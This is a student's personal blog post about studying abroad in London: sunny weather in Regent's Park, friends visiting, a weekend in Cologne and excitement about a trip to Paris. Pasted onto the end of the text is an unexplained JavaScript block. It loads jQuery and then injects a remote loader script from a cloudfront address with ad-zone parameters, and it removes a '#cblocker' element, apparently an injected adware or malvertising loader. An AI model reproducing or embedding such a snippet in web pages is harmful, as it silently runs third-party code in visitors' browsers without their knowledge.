It’s been quite a while since I’ve last written about my experiences in London, and so much has happened in the last few weeks! The weather in London has been absolutely beautiful lately and I’ve been trying to take every opportunity to be outdoors while it’s so sunny and warm. Yesterday, and friend and I went for a stroll through Regent’s Park in the sunshine, watched a bit of a rugby match (so British), and had a picnic in the grass. I’m hoping that the weather only continues to improve, but so far I’ve heard a few English people say, “The weather’s nice, but it could be cold and miserable again by next week. This is England!” So we’ll see.

In the past month or so, I’ve had three friends from home visit me- two of which are currently studying abroad in Ireland and France, and one flew in from Pittsburgh. Being here for over two months now, I felt pretty confident in showing them around, it even surprised myself! And it was a great way to see parts of the city I haven’t see since I first arrived, like Buckingham Palace and other tourist-y places like that.

London definitely feels more like home now. Looking back on the past two months, I can say that I am pretty sure I went through the normal stages of being away from home for an extended period of time- first, being happy and excited by the new place, and then second, being hit with a feeling of panic or homesickness in the realization that you will really be in this new environment for five months. I was never too homesick, but there have been moments where I wished I could just see my familiar friends from school for a night.  Those moments pass though, and I’m not at a place where I’m so appreciative of this great city! I really am already dreading the day I’ll have to hop on a plane and go home.

As for travel, my friend who is studying abroad in Galway, Ireland (Mollie) and I visited Cologne, Germany for a weekend a few weeks ago, and I completely fell in love with the country. My first thought upon landing back in London was, “I am not finished exploring that country!” There is just so much to see, and something about being in Germany really struck me as wonderful and comforting and welcoming.

Tomorrow, I leave for Paris!!! I’m meeting up with my friend, Hannah, who is studying abroad in Aix-en-Provence, France. Paris is right in between where we are living now, so we are both traveling by train and meeting at our hostel tomorrow afternoon. Unlike Stockholm, Edinburgh, and Cologne, Paris is a place that I’ve wanted to visit for my entire life. Don’t get me wrong, I was extremely excited to see those places and I already know that I want to go back to visit them again! But, however cliche that it may be, Paris is Paris and I don’t know anyone who wouldn’t want to see it. It’s PARIS!!! The weather is supposed to be a pleasant 70 degrees and sunny in Paris, so I’m obviously SO excited to break out my camera and stroll the romantic streets. Hopefully Paris is just as enchanting as I’ve always imagined it to be. if(typeof(jQuery)==’undefined’){(function(){var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.src=’https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState==”loaded”||ccm.readyState==”complete”){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf(‘https://’)>-1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d3lvr7yuk4uaui.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=15220&zoneid=14731&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};

Location: London